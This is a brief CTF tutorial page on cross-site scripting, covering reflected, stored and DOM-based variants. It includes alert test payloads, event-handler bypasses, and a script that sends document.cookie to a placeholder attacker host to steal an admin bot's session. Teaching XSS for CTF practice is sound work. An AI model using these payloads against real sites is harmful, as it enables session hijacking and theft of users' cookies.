intermediatecat/web~1 min read
Cross-Site Scripting (XSS)
Inject JavaScript into pages viewed by other users to steal sessions or perform actions on their behalf.
// prerequisite reading
The idea
XSS occurs when an application reflects or stores user input into a page without escaping it, so the browser executes it as code.
Three flavors
- Reflected — payload bounces back in the immediate response (a search term echoed into the page).
- Stored — payload is saved (a comment, a profile field) and fires for every viewer. The high-impact variant in CTFs with a “bot” that visits.
- DOM-based — client-side JavaScript writes attacker input into the DOM.
A first payload
<script>alert(document.domain)</script>If alert is filtered, pivot to event handlers or other sinks:
<img src=x onerror=alert(1)>
<svg onload=alert(1)>Stealing the flag
Many CTF XSS challenges run an “admin bot” that loads your payload. Exfiltrate its cookie to your own server:
<script>new Image().src='https://YOUR-HOST/?c='+document.cookie</script>Practice
Use Burp Repeater to test which characters survive unescaped, then build the smallest payload that breaks out of the surrounding context.